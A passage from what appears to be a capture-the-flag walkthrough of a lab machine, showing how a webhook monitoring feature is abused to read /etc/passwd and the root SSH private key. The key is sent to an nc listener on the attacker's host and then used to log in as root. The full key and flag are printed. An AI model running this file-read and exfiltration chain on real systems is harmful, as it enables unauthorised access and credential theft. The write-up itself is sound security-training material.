{"webhookUrl":"http:\/\/10.10.17.44","monitoredUrl":"\/etc\/passwd","health":"up","body":"root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd\/netif:\/usr\/sbin\/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd\/resolve:\/usr\/sbin\/nologin\nsyslog:x:102:106::\/home\/syslog:\/usr\/sbin\/nologin\nmessagebus:x:103:107::\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:104:65534::\/nonexistent:\/usr\/sbin\/nologin\nlxd:x:105:65534::\/var\/lib\/lxd\/:\/bin\/false\nuuidd:x:106:110::\/run\/uuidd:\/usr\/sbin\/nologin\ndnsmasq:x:107:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\nlandscape:x:108:112::\/var\/lib\/landscape:\/usr\/sbin\/nologin\npollinate:x:109:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:110:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsusanne:x:1000:1000:susanne:\/home\/susanne:\/bin\/bash\ngogs:x:1001:1001::\/home\/gogs:\/bin\/bash\nmysql:x:111:114:MySQL Server,,,:\/nonexistent:\/bin\/false\n"}
At this point, we can test if we can read files as root
. For instance, the SSH private key:
mysql> update tasks set monitoredUrl = '/root/.ssh/id_rsa';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:52864.
POST / HTTP/1.1
Host: 10.10.17.44
Accept: */*
Content-type: application/json
Content-Length: 1818
Expect: 100-continue
{"webhookUrl":"http:\/\/10.10.17.44","monitoredUrl":"\/root\/.ssh\/id_rsa","health":"up","body":"-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9\/jG5NPqc2TfW4Nlj9gE\nKScDJTrF0vXYnIy4yUwM4\/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq\nIMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH\/\nKuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL\/XP1hN4B7egzjcV8Rphj6XRE3bhgH\n7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8\nW6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae\nNPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9\nt3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8\/v\/3Jeesznu+RJ+G0ezyUGfi0wpQRoD\nC2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI\/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl\nhnqFXpOWB771WnW9yH7\/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x\/LUyan++D+8\nefiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2\n1bLlZQECgYEA9iT13rdKQ\/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj\nnVhtw6NRFZ1Gfu21kPTCUTK34iX\/p\/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3\nsqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou\nfEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q\n0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ\nzkbVWX3JRDh4vdFOBGB\/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT\nrti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB\nN1ZI4E59+O3Z15VgZ\/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD\nSsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o\n++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp\nUnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR\/xkIP\/Mog1a\nvmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU\n6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC\/cQbPm\nQeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G\n-----END RSA PRIVATE KEY-----\n"}
There it is, now we can connect to the machine as root
without password and find the root.txt
flag:
$ echo -e "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9\/jG5NPqc2TfW4Nlj9gE\nKScDJTrF0vXYnIy4yUwM4\/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq\nIMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH\/\nKuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL\/XP1hN4B7egzjcV8Rphj6XRE3bhgH\n7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8\nW6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae\nNPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9\nt3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8\/v\/3Jeesznu+RJ+G0ezyUGfi0wpQRoD\nC2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI\/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl\nhnqFXpOWB771WnW9yH7\/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x\/LUyan++D+8\nefiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2\n1bLlZQECgYEA9iT13rdKQ\/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj\nnVhtw6NRFZ1Gfu21kPTCUTK34iX\/p\/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3\nsqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou\nfEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q\n0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ\nzkbVWX3JRDh4vdFOBGB\/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT\nrti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB\nN1ZI4E59+O3Z15VgZ\/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD\nSsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o\n++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp\nUnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR\/xkIP\/Mog1a\nvmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU\n6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC\/cQbPm\nQeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G\n-----END RSA PRIVATE KEY-----\n" > id
_rsa
$ cat id_rsa | tr -d '\' | sponge id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.10.11.176
root@health:~# cat root.txt
03ffdcc457f7b26610f2798f6d1da2ad